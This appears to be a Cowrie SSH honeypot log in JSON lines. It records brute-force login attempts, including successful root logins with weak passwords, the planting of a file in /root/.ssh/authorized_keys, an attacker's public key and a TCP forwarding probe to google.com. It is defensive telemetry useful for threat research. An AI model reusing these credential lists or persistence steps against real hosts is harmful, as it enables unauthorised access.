{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:28.778158Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:28.781684Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":47546,"dst_ip":"10.17.0.5","dst_port":22,"session":"580e3c2e5fe1","protocol":"ssh","message":"New connection: 103.153.254.168:47546 (10.17.0.5:22) [session: 580e3c2e5fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:29.038953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:29.042881Z","src_ip":"103.153.254.168","session":"580e3c2e5fe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:29.313416Z","src_ip":"103.153.254.168","session":"580e3c2e5fe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:30.370597Z","src_ip":"103.153.254.168","session":"580e3c2e5fe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:31.645532Z","src_ip":"103.153.254.168","session":"580e3c2e5fe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.254.168","src_port":48316,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e75abc2fb3","protocol":"ssh","message":"New connection: 103.153.254.168:48316 (10.17.0.5:22) [session: e1e75abc2fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:31.907963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:31.916895Z","src_ip":"103.153.254.168","session":"e1e75abc2fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:32.176769Z","src_ip":"103.153.254.168","session":"e1e75abc2fb3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:33.237176Z","src_ip":"103.153.254.168","session":"e1e75abc2fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:33.504812Z","src_ip":"103.153.254.168","session":"181b76a7c0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:30:33.509269Z","src_ip":"103.153.254.168","session":"e1e75abc2fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.165.194.56","src_port":57622,"dst_ip":"159.203.135.109","dst_port":22,"session":"97c0efd155b5","protocol":"ssh","message":"New connection: 46.165.194.56:57622 (159.203.135.109:22) [session: 97c0efd155b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:30.405688Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:30.543849Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:30.684026Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:31.664646Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:31.668489Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:31.924322Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.229.76","src_port":52808,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e4e92889209","protocol":"ssh","message":"New connection: 43.156.229.76:52808 (10.17.0.5:22) [session: 5e4e92889209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:36.738291Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:36.743406Z","src_ip":"43.156.229.76","session":"5e4e92889209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":55296,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae8c081a6c22","protocol":"ssh","message":"New connection: 64.227.144.233:55296 (10.17.0.5:22) [session: ae8c081a6c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:43.748682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:43.753048Z","src_ip":"64.227.144.233","session":"ae8c081a6c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:43.973499Z","src_ip":"64.227.144.233","session":"ae8c081a6c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"compound","password":"Compound2017","message":"login attempt [compound/Compound2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:44.415998Z","src_ip":"64.227.144.233","session":"ae8c081a6c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:45.638085Z","src_ip":"64.227.144.233","session":"ae8c081a6c22","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"46.165.194.56","src_port":34164,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:34164","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:53.265197Z","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:53.485456Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031g\\xfb z\\xf2\\x93\\xe5\\xe0\\xdeVQ\\xe9\\xf3\\xc4A\\x1cIc\\xee}`}\\xd3\\x8fmU!E]\\xd0\\xc3 \\x1ep\\x0f\\xbf\\xb5k\\xe9Y\\xba \\x92\\xd5D'\\x80i\\x99\\x0cU\\xd8\\xd0\\x1b\\x99\\xaa/z\\xf0\\x144=\\xef\\x7f\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf3\\xc3\\x19\\xae\\xdc\\xc6\\x82F\\x12\\xad\\tx\\x0e\\xdf\\x10j\\x87O\\xa5#8 \\xca\\x17\\xd1w\\xc2\\xd2\\x16\\x80\\xb3E\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to google.com:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x031g\\xfb z\\xf2\\x93\\xe5\\xe0\\xdeVQ\\xe9\\xf3\\xc4A\\x1cIc\\xee}`}\\xd3\\x8fmU!E]\\xd0\\xc3 \\x1ep\\x0f\\xbf\\xb5k\\xe9Y\\xba \\x92\\xd5D'\\x80i\\x99\\x0cU\\xd8\\xd0\\x1b\\x99\\xaa/z\\xf0\\x144=\\xef\\x7f\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf3\\xc3\\x19\\xae\\xdc\\xc6\\x82F\\x12\\xad\\tx\\x0e\\xdf\\x10j\\x87O\\xa5#8 \\xca\\x17\\xd1w\\xc2\\xd2\\x16\\x80\\xb3E\\x00\\x15\\x00\\xbb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:53.488944Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"23.3","message":"Connection lost after 23.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:31:53.714455Z","src_ip":"46.165.194.56","session":"97c0efd155b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.101.111","src_port":36972,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc8c03c3e375","protocol":"ssh","message":"New connection: 135.181.101.111:36972 (159.203.135.109:22) [session: bc8c03c3e375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:09.953389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T17:32:09.957137Z","src_ip":"135.181.101.111","session":"bc8c03c3e375","protocol":"ssh"}
